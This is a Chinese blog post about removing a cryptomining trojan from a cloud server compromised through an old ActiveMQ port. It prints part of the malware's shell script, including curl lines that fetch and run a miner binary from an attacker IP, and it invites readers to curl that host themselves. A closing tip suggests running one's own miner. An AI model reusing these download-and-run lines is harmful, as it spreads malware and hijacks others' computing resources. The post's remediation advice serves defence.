专栏首页我叫刘半仙原荐记一次服务器被植入挖矿木马cpu飙升200%解决过程

原荐记一次服务器被植入挖矿木马cpu飙升200%解决过程

线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了。

此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功,多次尝试甚至重启机器无果。机制的我打了个top,出现以下内容:

这是谁运行的程序?不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。怀疑是个定时任务:

什么鬼,是个图片?立即访问了一下:

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,crul过去是下面的脚本,过程就是在挖矿:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中间省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

杀掉,找到存放目录:

进入临时目录:

被我发现配置文件了,先来看看内容:

虎躯一震,发现了不少信息啊,user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。干掉这两个文件后再查看top:

解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对,不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

1.把所有软件升级到新版本

2.修改所有软件默认端口号

3.打开ssh/authorized_keys, 删除不认识的密钥

4.删除用户列表中陌生的帐号

5.封了他的ip

6.SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

对了,本次遭受攻击是低版本ActiveMQ开放端口61616有漏洞,大家记得做优化。滔哥给提供了最好的方式:将主机镜像。找出病毒木马,分析入侵原因。检查业务程序。重装系统。修复漏洞。再重新部署系统。

写在最后,网友提供的一劳永逸终极解决办法:

把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 要理解递归,先得理解递归

           对于一个整天写增删改查的java程序员,厌倦了成天搬砖,所以最近研究了一下递归。首先声明,本人非科班出身,对于刚接触递归就感觉有一种莫名高大上算法...

    我叫刘半仙
  • 【JDK并发包基础】工具类详解

           在写并发代码来提升性能时,会遵循某些最佳写法,而不是只用基础的wait和notify来控制复杂的流程。Java.util.concurrent 包...

    我叫刘半仙
  • 【JDK并发包基础】线程池详解

            为了更好的控制多线程,JDK提供了一套线程框架Executor来帮助程序员有效的进行线程控制。Java.util.concurrent 包是专为...

    我叫刘半仙
  • 【docker】创建Dockerfile并push到docker-hub

    The docker build command processes this file generating a Docker Image in your L...

    prepared
  • Java | 两个IO实例demo

    凌川江雪
  • WeUI,来了!

    WeUI 项目简介 WeUI 是一套同微信原生视觉体验一致的基础样式库,由微信官方设计团队为微信 Web 开发量身设计,可以令用户的使用感知更加统一 包含but...

    腾讯开源
  • 带着大佬们的智慧打比赛!AI研习社竞赛板块上线“练习赛”模式!

    AI 研习社的“竞赛”板块运营至今,一共积累了 18 场涵盖计算机视觉、自然语言等领域的 AI 赛事,这些赛事获得众多社友的踊跃参与,留下丰富的代码、文章、视频...

    AI研习社
  • 51 个深度学习目标检测模型汇总,论文、源码一应俱全!

    目标检测(Object Detection)是深度学习 CV 领域的一个核心研究领域和重要分支。纵观 2013 年到 2019 年,从最早的 R-CNN、Fas...

    小小詹同学
  • MySQL MRR介绍

    1.  select key_column, pk_column from tb where key_column=x order by key_column...

    二狗不要跑
  • 51 个深度学习目标检测模型汇总,论文、源码一应俱全!

    目标检测(Object Detection)是深度学习 CV 领域的一个核心研究领域和重要分支。纵观 2013 年到 2019 年,从最早的 R-CNN、Fas...

    OpenCV学堂

扫码关注云+社区

领取腾讯云代金券